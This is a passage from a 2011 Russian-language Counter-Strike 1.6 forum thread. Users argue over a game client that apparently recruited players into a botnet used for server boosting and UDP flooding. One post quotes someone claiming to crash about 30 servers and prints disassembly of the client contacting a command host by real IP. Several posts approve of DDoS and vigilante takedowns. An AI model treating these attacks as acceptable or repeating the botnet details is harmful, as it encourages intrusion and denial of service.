Наши новости:

14-дек	Добавлена поддержка utf8mb4
24-апр	Telegram группа
10-апр	Обновление PHP
11-апр	Раздача читов

Создание, настройка и продвижение counter-strike 1.6 серверов > > Создание, настройка и продвижение counter-strike 1.6 серверов > Защита Игрового сервера > Джентльмены Удачи или как сделать Ботнет за 5 дней ?

Важная информация

Перед тем как создать тему или задать вопрос, ознакомьтесь с данной темой, там собраны наиболее распространенные уязвимости и способы устранения.
Так же не поленитесь воспользоваться поиском, вполне возможно, что ваш вопрос уже поднимался на форуме.
При создании новой темы уделите внимание ее названию, оно должно кратко описывать суть вашего вопроса/проблемы. Все вновь созданные темы с названиями "Помогите", "Объясните", "Подскажите" и т.д. будут удалены, а их авторы наказаны.

40 страниц

« 11 12 13 ... 38 39 »

Джентльмены Удачи или как сделать Ботнет за 5 дней ?

, Более подробное изложение истории с ботнетом

Опции

Sw1ch	8.2.2011, 17:52 Сообщение #221
Стаж: 15 лет Сообщений: 616 Благодарностей: 228 Полезность: < 0	эй бомжы, там ссылку не на Ваш профиль)
	Поблагодарили 0 раз Поблагодарили 0 раз

BENDERJKE	8.2.2011, 17:55 Сообщение #222
Стаж: 15 лет Сообщений: 270 Благодарностей: 70 Полезность: 0	вдруг кто - то обидеться =(
	Поблагодарили 0 раз Поблагодарили 0 раз

cs-portal	8.2.2011, 18:45 Сообщение #223
Стаж: 16 лет Сообщений: 8181 Благодарностей: 2709 Полезность: 0	я седня в мастере забанил 7 типов. с хлсерверами. вот мастер как бы не работал месяц а они все равно флудят. смысл - если мастер не светится в клиенте - то есть в кс - и толку от него 0 - не они все равно флудят хех наверно взяли твой плагин - и выдрали мастера и поставили в хлсервер да и буду благодарен за qstat с примером внутри ( синтаксисом ) для проверки а то чет не нашел уже на форуме Отредактировал: cs-portal, - 8.2.2011, 18:46
	Поблагодарили 0 раз Поблагодарили 0 раз

330863	8.2.2011, 18:47 Сообщение #224
Стаж: 16 лет Сообщений: 4358 Благодарностей: 1079 Полезность: 497	cs-portal, откуда взял мастер ? :) не по теме
	Поблагодарили 0 раз Поблагодарили 0 раз

berq	8.2.2011, 19:28 Сообщение #225
Стаж: 16 лет Сообщений: 181 Благодарностей: 629 Полезность: 3725	Цитата(330863 @ 8.2.2011, 20:40) berq, 1. раз ты про нас сделал некоторое открытие ,почемубы тебе не открыть людям глаза на то что у SISA есть сплойт ,на то что он какбы участвовал в выдаче сплойтов тебе с целью их фиксить ,но уж последний работаюший сплойт на сей момент досихпор непофикшен (по словам SISA ,данный сплойт обнаружен ешё примерно пол года назад) шас что случилось ? лень фиксить ,или лучше давай не фиксить ,давай крушить серваки 2. зачем не добавил инфу про мудака с ником SISA который задосил серваки которые иму надоедают (мой в том числе)(как и старый мой ипшник) Обосрался@обвини других и надави на жалость. С ратвеера пример взял, да? Вот перепост цитаты с д-с.ру с которой все началось. Прочитай, и вопросы отпадают. 1 Цитата Думаю, пора пролить свет на то, что вообще происходит последние пару дней. А то у многих, наверное, накопились вопросы а-ля "кто?", "зачем?", "почему?". Писать буду от лица Crock'а (если что, владелец этого акка - другой человек). Итак, ответсвенный за этот мини-беспредел - это я. Да, это с моей команды валятся около 30 серверов. Почему я это делаю? Потому что эти сервера раскручивались с ботнета, а их владельцы спонсировали его дальнейшее развитие (если что, этот ботнет очень неплохо умеет устраивать удп флуд). Дак вот, мне наличие такого ботнета в руках долбоебов не нравится. Поэтому один из шагов по его выпиливанию - это выпиливание спонсоров. Теперь эти накрученные говнопаблики с этого же ботнета и валятся. Информация для админов говнопабликов: Делайте нормальные сервера, а не накручивайте их с помощью услуг "реальных пасанов". Тогда и народ будет. Кстати, Мишель ака vkontakte ака Валеног ака "пасан, раскручивающий с ботнета", если ты это читаешь - тебе совет - продолжай дальше запускать апач на винде от сервисной учетки! Это существенно упрощает контроль над машиной после заливки шелла. За удаленную порнуху прошу извинить меня Информация для саппорта ГХ: Первед вами хотелось бы извиниться, за то что поставил в нехорошее положение. Выход из положения такой - меняйте порты падающим серверам с причной "раскрутка нелегальным методом". И предупредите владельцев, чтобы больше так не делали. Вот еще ответы на вопросы, которые возникнут после прочтения: 1) "Я же говорил что в дпрото бэкдоры!": Нет, это не уязвимость в дпрото. Это бага в движке 2) "Когда бует фикс?": Нет фиксить я ее не буду, потому что, во-первых - это трудно, а во вторых - за полтора года после ее открытия она используется только сейчас. Надеюсь в первый и последний раз. Но как туз в рукаве она у меня останется. 3) "Я был лучшего мнения о тебе!": Мне пофиг. Цитата(330863 @ 8.2.2011, 20:40) 3. ты подумал когда писал это? : очу заметить, что на IP 95.65.64.90:27010 и 95.65.64.90:1337 располагались сервисы, на которыы приходила информация от зараженных компьютеров. Именно так они узнавали IP адреса компьютеров в ботнете. Вебку мастера показать ,спросить Krevedko хочеш про веб форму добавления серверов в мастер серваке 95.65.64.90:27010 ?:) Кусок кода из HLE™ v22 RF1 клиента, TForm1.Create: Цитата CODE:00477262 mov eax, [ebp+sender] CODE:00477265 mov ecx, [eax+2F8h] CODE:0047726B mov edx, 27010 CODE:00477270 mov eax, offset _str_95_65_64_90.Text CODE:00477275 call SendHelloToMaster CODE:0047727A xor eax, eax В версии от 23 января: Цитата CODE:00477C1E mov eax, [ebp+sender] CODE:00477C21 mov ecx, [eax+2F8h] CODE:00477C27 mov edx, 27012 CODE:00477C2C mov eax, offset _str_95_65_64_90_1.Text CODE:00477C31 call SendHelloToMaster CODE:00477C36 xor eax, eax Второй кусок из TForm1.Timer3Timer (для обоих версий) Цитата CODE:004779A0 push offset _str___PROXY.Text CODE:004779A5 mov eax, [ebp+var_4] CODE:004779A8 mov eax, [eax+2F8h] CODE:004779AE mov ecx, 1337 CODE:004779B3 mov edx, offset _str_95_65_64_90_0.Text CODE:004779B8 call @Idudpbase@TIdUDPBase@Send$qqr17System@AnsiStringxit1 ; Idudpbase::TIdUDPBase::Send(System::AnsiString,int,System::AnsiString) CODE:004779BD xor eax, eax Обосрался@ надави на жалость - дубль 2, и тоже неудачный. Отредактировал: berq, - 8.2.2011, 19:30
	Поблагодарили 14 раз Поблагодарили 14 раз _Skyline, BeCeJ\|b\|\|/\|, c0rax, CL0NE [ua], Fortran, Hnt, imba, Krevedko, Racoon, REVOLT, Rokr__, SISA, Z[1]., Саша

330863	8.2.2011, 19:34 Сообщение #226
Стаж: 16 лет Сообщений: 4358 Благодарностей: 1079 Полезность: 497	SISA, я не в курсе кто это именно делал ,ты ,berq ,или ктото другой ,я знаю одно ,что просто так свитчи ,маршрутизаторы не ломаються из за высокой нагрузки ,и конкретно на мой ип также ненадо использовать апатч в целях выключения компьютера :) berq, ешё раз напишу 1. ну ты у нас же типо зашитник всего и вся что связано с цс ,сделал дпрото ,за это всёже большое спасибо ,написал хорошые статьй (хотя знаю только одну) а вот некоторые последние работаюшие сплойты непофиксил для того чтобы их использовали ешё :) ну раз они так поступили давайте и мы не скроем дыру этого сплойта давить на жалость небыло моей идеей 2. тебе вебу показывать или сам поймёш что делал мастер я не для проксей (прокси и регистрация проксей на нём была просьба ратвеера)
	Поблагодарили 0 раз Поблагодарили 0 раз

imba

8.2.2011, 19:42

Сообщение #227

Стаж: 17 лет

Сообщений: 1677
Благодарностей: 735
Полезность: 571

330863,
Что надо или не надо,решать не тебе маленькому убытку.Все твои оправдания чистой воды ****еж,в которые поверит только ребятня с фптим форума.
berq же,огромное спасибо что нашел возможность наказать эту компанию имбецылов.

!

Запрет на ответ в темах до: 10.11.29392, 21:09 

330863	8.2.2011, 19:44 Сообщение #228
Стаж: 16 лет Сообщений: 4358 Благодарностей: 1079 Полезность: 497	berq, спасибо за поддержку отключения мастера который ешё не засветилься ,сетти и так плохой свойм бустером и дибилом админом мвпро а стим мастера загибаються от румынских фейк редиректов к которым ешё добавляеться ботнеты то что там есть какойто код твоё дело ,молодца то что ты не обязан я знаю ,но то что ты до последнего апдейта обновлял дпрото говорит про то что это надо довести до конца (лучше до конца)
	Поблагодарили 0 раз Поблагодарили 0 раз

berq	8.2.2011, 19:47 Сообщение #229
Стаж: 16 лет Сообщений: 181 Благодарностей: 629 Полезность: 3725	Цитата(330863 @ 8.2.2011, 21:44) berq, спасибо за поддержку отключения мастера который ешё не засветилься ,сетти и так плохой свойм бустером и дибилом админом мвпро а стим мастера загибаються от румынских фейк редиректов к которым ешё добавляеться ботнеты то что там есть какойто код твоё дело ,молодца то что ты не обязан я знаю ,но то что ты до последнего апдейта обновлял дпрото говорит про то что это надо довести до конца (лучше до конца) Обосрался @ надави на жалость - дубль 3. Снова фэйл. Выключался не твой мегахороший мастер, который ты собирался модерировать вручную (!!!!), а узел с которого контролился ботнет. Код показывать, или так поверишь?
	Поблагодарили 3 раз Поблагодарили 3 раз _Skyline, 330863, Krevedko

SISA	8.2.2011, 19:51 Сообщение #230
Стаж: 16 лет Сообщений: 2774 Благодарностей: 2956 Полезность: 994	Цитата сетти и так плохой свойм бустером и дибилом админом мвпро Вы их сами сподвигли к открытию бустера, засрав сетмастера клапана. Как это не смешно, но их бустер живет и процветает за счет вас. Цитата а стим мастера загибаються от румынских фейк редиректов И именно по этому, вы решили засрать компы игроков вирусами ?
	Поблагодарили 9 раз Поблагодарили 9 раз _Skyline, 330863, CL0NE [ua], comshat, Krevedko, kupuk96, Racoon, Xupypr, Zenden-rus

330863	8.2.2011, 19:59 Сообщение #231
Стаж: 16 лет Сообщений: 4358 Благодарностей: 1079 Полезность: 497	berq, незнаю почему народ им доволен был хоть он и не имел большой сути %) напомнить то что фейки прокси регались не только в этом мастере ? SISA, засрав ,ты бы лучше сделал проверку серваков по крону в те времена когда ботнета небыло ,и полюбовалься на сайте fakehlds.com (румынского пройсхождения) который был создан до этого ботнета бустер или этот ботнет (точнее раскрутка им) тоже самое дело :) где вирусы ? :D ,из всех компов мира больше 70% имеют хоть 1 вирус ,и если будет +1 нереальный вирус что будет ? Отредактировал: 330863, - 8.2.2011, 20:00
	Поблагодарили 0 раз Поблагодарили 0 раз

SISA	8.2.2011, 20:00 Сообщение #232
Стаж: 16 лет Сообщений: 2774 Благодарностей: 2956 Полезность: 994	Цитата(330863 @ 8.2.2011, 20:59) berq, незнаю почему народ им доволен был хоть он и не имел большой сути %) напомнить то что фейки прокси регались не только в этом мастере ? SISA, засрав ,ты бы лучше сделал проверку серваков по крону в те времена когда ботнета небыло ,и полюбовалься на сайте fakehlds.com (румынского пройсхождения) который был создан до этого ботнета бустер или этот ботнет (точнее раскрутка им) тоже самое дело :) где вирусы ? :D ,из всех компов мира больше 70% имеют хоть 1 вирус ,и если будет +1 нереальный вирус что будет ? Обосрался @ надави на жалость - дубль 4 © О Румынских редиректах я знал и знаю ОЧЕНЬ давно и многократно предлагал объединить мозговые усилия и выпилить их. В любом случае, сейчас уже поздно о чем-то говорить, особенно с тобой. Отредактировал: SISA, - 8.2.2011, 20:02
	Поблагодарили 1 раз Поблагодарили 1 раз 330863

330863	8.2.2011, 20:04 Сообщение #233
Стаж: 16 лет Сообщений: 4358 Благодарностей: 1079 Полезность: 497	SISA, а ты хоть хотел говорить со мной ? :biggrin:
	Поблагодарили 0 раз Поблагодарили 0 раз

Cracky	8.2.2011, 20:04 Сообщение #234
Стаж: 15 лет Сообщений: 768 Благодарностей: 197 Полезность: 506	Цитата(нуб2 @ 7.2.2011, 7:26) Алсо как тролил, так и буду тролить, чтобы меня остановить, надо заддосить мой домашний инет, пожалуй выход, там всего то 20 мбит, положить - как 2 пальца обасфальт. Да пребудет с тобой NAT. Админ.
	Поблагодарили 0 раз Поблагодарили 0 раз

berq	8.2.2011, 20:08 Сообщение #235
Стаж: 16 лет Сообщений: 181 Благодарностей: 629 Полезность: 3725	Пумка, не волнуйся, скоро запилим нормальный мастерсервер, с фильтрацией говна.
	Поблагодарили 4 раз Поблагодарили 4 раз comshat, Hnt, neJlukaH, theaqua

330863	8.2.2011, 20:10 Сообщение #236
Стаж: 16 лет Сообщений: 4358 Благодарностей: 1079 Полезность: 497	berq, мне он ненужен ,народу нужен онлайн и нормальный мастер сервак (без бустеров без фейков без сабсерверов)
	Поблагодарили 0 раз Поблагодарили 0 раз

bravo	8.2.2011, 20:11 Сообщение #237
Стаж: 19 лет Сообщений: 2650 Благодарностей: 865 Полезность: 879 Меценат	330863, интересная у тебя логика - схожа с отхожим местом в деревне - раз там уже насрано, лишний котях не помешает =) глупость какая то... к чему вообще этот разговор, и так ясно что вы накосячили, а о румынах тут речи не идёт. кстати с помощью этого ботнета можно и румынов начать валить потихоньку, пока он ещё жив.
	Поблагодарили 0 раз Поблагодарили 0 раз

BeCeJ|b||/|

8.2.2011, 20:13

Сообщение #238

Стаж: 15 лет

Сообщений: 902
Благодарностей: 572
Полезность: 412

Бедный пума бедный пума я даже подпись смотрю а там гамнопаблик с онлайном 12/32 ,видимо кроме гадости и пакости сам честно нормально онлайн не можешь заработать :biggrin:

!

Аккаунт пользователя заблокирован до: 11.4.29391, 8:19

stefkone	8.2.2011, 20:14 Сообщение #239
Стаж: 19 лет Сообщений: 1711 Благодарностей: 1130 Полезность: 1068	Цитата(BeCeJ\|b\|\|/\| @ 8.2.2011, 18:13) Бедный пума бедный пума я даже подпись смотрю а там гамнопаблик с онлайном 12/32 ,видимо кроме гадости и пакости сам честно нормально онлайн не можешь заработать :biggrin: Может просто ему это ненадо?
	Поблагодарили 0 раз Поблагодарили 0 раз

330863	8.2.2011, 20:18 Сообщение #240
Стаж: 16 лет Сообщений: 4358 Благодарностей: 1079 Полезность: 497	bravo, доложу ешё пару инфы до сведений Мастер сервер тестировали и требовалось из некуя добыть как можно больше серверов для тестирования мастера и фикса всяких возможных багов которые встретяться ,ратвеер просил добавить регистрацию в моём мастере который нуждалься в тестирований на добавление как можно больше серверов ,для этого я согласилься на то чтоб его зафлудили прокси ботнета которые регались на нём ,отсюда я для себя и для того кто писал мастер тестировал и отправлял багрепорт ,а для ратвеера это был лиш источник проксей которых он и не проверял всётаки :D ,из за того что загибались мастера сетти Я лично был против насчёт создания регистраций на моём мастер сервере (27010) мастер сервер 1337 был создан ратвеером с целью поймать старые прокси (через которые можно было только играть) Задосить ботнетом 100 ипшников (румынских фейков) кому надо ?))))))))
	Поблагодарили 0 раз Поблагодарили 0 раз

« Предыдущая тема · Защита Игрового сервера · Следующая тема »

40 страниц

« 11 12 13 ... 38 39 »

0 пользователей и 2 гостей читают эту тему:

Режим отображения: Стандартный · Переключить на: Линейный · Переключить на: Древовидный

Сообщить другу · Версия для печати